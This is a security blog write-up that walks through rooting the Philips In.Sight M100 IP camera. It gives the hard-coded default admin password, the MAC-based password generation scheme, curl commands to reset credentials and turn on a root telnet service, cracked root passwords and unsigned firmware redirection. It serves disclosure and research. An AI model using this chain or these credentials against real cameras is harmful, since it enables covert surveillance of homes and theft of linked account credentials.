Owning Philips In.Sight IP cameras

Poppin' root shells on Internet-enabled cameras.

This is a continuation from my previous post but this time we’ll be taking a look at the device itself, the Philips In.Sight M100. The end goal is to pop a root shell on the device which we successfully accomplish by exploiting multiple vulnerabilities.

Let’s start with the basics. After a little bit of Google-foo we find the camera is based on the Maxim MG3500 board. The data sheet reveals it has a ARM9 processor and runs Linux. From a software perspective it mentions an embedded web server, RTP streaming, based of the 2.6.20 kernel, runs busybox and has LUA built in. There’s even talk of a toolchain which may come in handy later on.

To get the camera connected to the network you have to use the setup wizard in the Android or iOS app. You are asked for your WiFi password which is then encoded in to a QR code for your camera to read so it can connect:

WIFI:T:WPAPSK2_AES;S:SSID;P:KEY;;12:1:;IP:10.10.0.2;PID:2000;TZ:GMT+0:00##+

After a few seconds the camera flashes green to notify you it’s connected. We confirm this from my routers ARP table:

10.10.0.3   00:00:48:02:2A:E3:6C

and a ping. I suspect port 80 and RTP ports will be open, let’s check with an nmap scan:

root@debian: # nmap -v -O -sV -A -T4 10.10.0.3
[...]
23/tcp   open  telnet      syn-ack Busybox telnetd
80/tcp   open  http        syn-ack lighttpd 1.4.24
88/tcp   open  tcpwrapped  syn-ack
554/tcp  open  sip         syn-ack RtpRtspServer (Status: 200 OK)
1935/tcp open  rtmp?       syn-ack
8080/tcp open  http-proxy? syn-ack

Telnet seems like a good place to start. After a few login attempts using common root passwords I notice there is a ~5 seconds delay between each attempt so unfortunately it looks like an online brute force attack is out of the question.

The web interface doesn’t give much out either and requires authentication. We know the Android app talks to the camera directly, presumably through the web interface or some sort of API, so let’s run it through apktool and take a look at the Java code.

The Android App

In the class HttpCommon we find these static variables:

public static final String CAMERA_USERNAME = "admin";
public static final String CAM_DEFAULT_PASSWD = "M100-4674448";

Really?

phillips 1

Really. Okay, so we don’t get much and trying regular directories (/admin, /cgi-bin) doesn’t give us anything. Fortunately our friend HttpCommon gives us a list of all available resources. A few in particular caught my eye:

public static final String HTTP_RES_ROOT_PATH = "/cgi-bin/v1";
public static final String HTTP_RES_CAMERA = "/camera";
public static final String HTTP_RES_FW_AUTOUPGRADE = "/firmware/autoupgrade";
public static final String HTTP_RES_FW_VERSION = "/firmware/version";
public static final String HTTP_RES_JPEG_BIG = "/cgi-bin/img-0.cgi";
public static final String HTTP_RES_RTSP_SES_BIG = "/stream0";
public static final String HTTP_RES_SET_CAM_PASSWD = "/users/admin";

The last one got me excited. But let’s start from the top.

GET /camera returned a 404. Hmm. Get /cgi-bin/img-0.cgi worked and spits out a picture from the camera. Everything else 404’d. The first variable stood out: HTTP_RES_ROOT_PATH. Maybe… GET /cgi-bin/v1/camera - bingo! GET /stream0 shows me a live video stream, very handy for snooping.

From the Java code we can see that /users/admin is a POST request with an XML body, here’s a typical request:

curl -H 'Authorization: b64(admin:M100-4674448)' -H 'Content-Type: application/xml' -X 'POST' --data '<users><admin><password s="newpassword" /></admin></users>' 'http://10.10.0.3/cgi-bin/v1/users/admin'

And the password has been changed. This didn’t work for root and you can’t login with them via telnet so I assume it has it’s own internal database.

At least now I can view the camera stream, listen to live audio and even view DropBox oAuth keys, Twitter username/password and YouTube username/password if the user has set them.

It’s at this point I decided to update the firmware as there’s no point in finding a root exploit if it’s already been patched. Unfortunately this disabled telnet :-(. I then registered the camera with Yoics which disabled the default password. Let’s see what’s going on.

When you first register the device with Yoics it changes the admin password via the POST /users/admin HTTP request. Lucky for us the password is generated client side in the Android app via this function:

public static String generateCamPassword(String paramString)
{
    String str = generateMd5Hash(paramString).substring(0, 10);
    return "i" + str;
}

This calculates the md5 of paramString, which is the cameras MAC address, takes the first 10 characters and appends it to i. So given our MAC of 00:00:48:02:2A:E3:6C we can generate a password of i2a5f126c7e. And we’re back in.

Now I’m pretty sure that if we sit and blind inject various CGI scripts we could escalate our privileges, but ain’t nobody got time for that. Let’s go deeper.

The Firmware

We now know the camera can download and update it’s own firmware so let’s extract it ourselves and find out what lies within.

Obtaining

When you first open up the Philips Android app it makes a request to http://philips.yoics.net/M100/philips_insight_m100_revisions.xml and saves the response locally. The file contains a list of firmware revisions and this is the latest:

<revision>
    <RevisionSequence>7.3</RevisionSequence>
    <RevisionVersion>47283</RevisionVersion>
    <ReleaseDate>12Nov2014_1807</ReleaseDate>
    <ReleaseLabel>7.3</ReleaseLabel>
    <iOSState>active</iOSState>
    <iOSMinCompatability>1.8</iOSMinCompatability>
    <AndroidState>active</AndroidState>
    <AndroidMinCompatability>1.2.5</AndroidMinCompatability>
    <DownloadURL> http://philips.yoics.net/M100/RC7.3</DownloadURL>
    <ReleaseNotes>Dropbox TLS SSL Support</ReleaseNotes>
    <ReleaseNotesURL> http://philips.yoics.com/M100/RC7.3/release_notes.txt</ReleaseNotesURL>
    <UpgradeMode>0</UpgradeMode>
    <Priority>Critical</Priority>
    <UserFilter />
    <ReminderDays>1</ReminderDays>
    <FullUpgradeRequired>5.4,5.5</FullUpgradeRequired>
</revision>

The DownloadUrl returns a 403 so I suspect we need to append a filename as well, let’s confirm this. When you click the “update firmware” button in the Android app it sends the request POST /firmware/autoupgrade to the camera with the XML body:

<firmware>
    <autoupgrade>
        <path s="DOWNLOAD_URL_FROM_ABOVE" />
        <type ul="M100" />
    </autoupgrade>
</firmware>

Presumably the camera has hard-coded strings of the file names and appends it to the download URL. The easiest way to find the filename is to replay the above request but change the path to a HTTP server we control so we can see what is being requested.

I later learned that there is no signature checking of any kind for the firmware so it’s pretty much game over from here. You could write your own firmware (using the Toolchain above) and get the camera to install it.

We then see three files requested within the logs:

http://10.10.0.2/m100_12_fuz_eng.gz
http://10.10.0.2/Philips-InSight-snor-data.tgz
http://10.10.0.2/Philips-InSight-snor-rootfs.img

Extracting

Let’s start with Philips-InSight-snor-rootfs.img where the actual URL is http://philips.yoics.net/M100/RC7.3/Philips-InSight-snor-rootfs.img:

root@debian: # file Philips-InSight-snor-rootfs.img
Philips-InSight-snor-rootfs.img: Squashfs filesystem, little endian, version 4.0, 6548147 bytes, 948 inodes, blocksize: 131072 bytes, created: Thu Nov 13 02:18:09 2014
root@debian: # unsquashfs Philips-InSight-snor-rootfs.img
[===================================================================\] 847/847 100%

Well that was easy. I was at least expecting it to be LZMA compressed with offets changed or some sort of XOR encryption. No fun!

Popping Shells

First thing’s first:

root@debian: # cat ./squashfs-root/etc/shadow
root:acotQ3OjTXpo.:12773:0:99999:7:::
admin:CTedwasnlmwJM:12773:0:99999:7:::
mg3500:aa6nn6TYobAEw:12773:0:99999:7:::

We’ll let John have a pop at them, you never kn… oh, straight away it found the mg3500 user with a password of merlin. Since telnet was now disabled we can’t do much with it. Let’s try our luck:

root@debian: # fgrep -Rli "telnetd" ./squashfs-root/*
var/www/cgi-bin/cam_service_enable.cgi
root@debian: # cat ./squashfs-root/var/www/cgi-bin/cam_service_enable.cgi
echo "telnet stream tcp nowait root /usr/sbin/telnetd /usr/sbin/telnetd" > /tmp/inetd.conf

Very lucky indeed. The script adds telnet (running as root) to the list of startup services. Let’s call the script using the credentials we generated earlier, and try telnet again:

root@debian: # curl -H 'Authorization: b64(admin:i2a5f126c7e)' 'http://10.10.0.3/cgi-bin/cam_service_enable.cgi'
root@debian: # telnet 10.10.0.3
Login: mg3500
Password: merlin
mg3500@m100: $

And we’re in. As expected from an embedded device everything is read-only and held in RAM, unless you write to the NVRAM. Permissions are totally locked down and no files are writeable by our user. If we run ps to get a list of processes I notice that the HTTP server (lighttpd 1.4.24) is running as root, oh dear.

Looking at the httpd configs and physical file paths I come across an admin page (/7445477) which allows you view/set every option thinkable:

phillips 2

Hold up… John has found the root password: insightr.

root@debian: # telnet 10.10.0.3
Login: root
Password: insightr
mg3500@m100: #

That’s cheating, right? Maybe. From here you can completely compromise the device by changing settings, writing custom scripts to extract camera images on a regular basis, etc.

There is an exploit in a few of the CGI scripts where you can pass in arbitrary commands and because the webserver is running as root you have free rein … ;-)/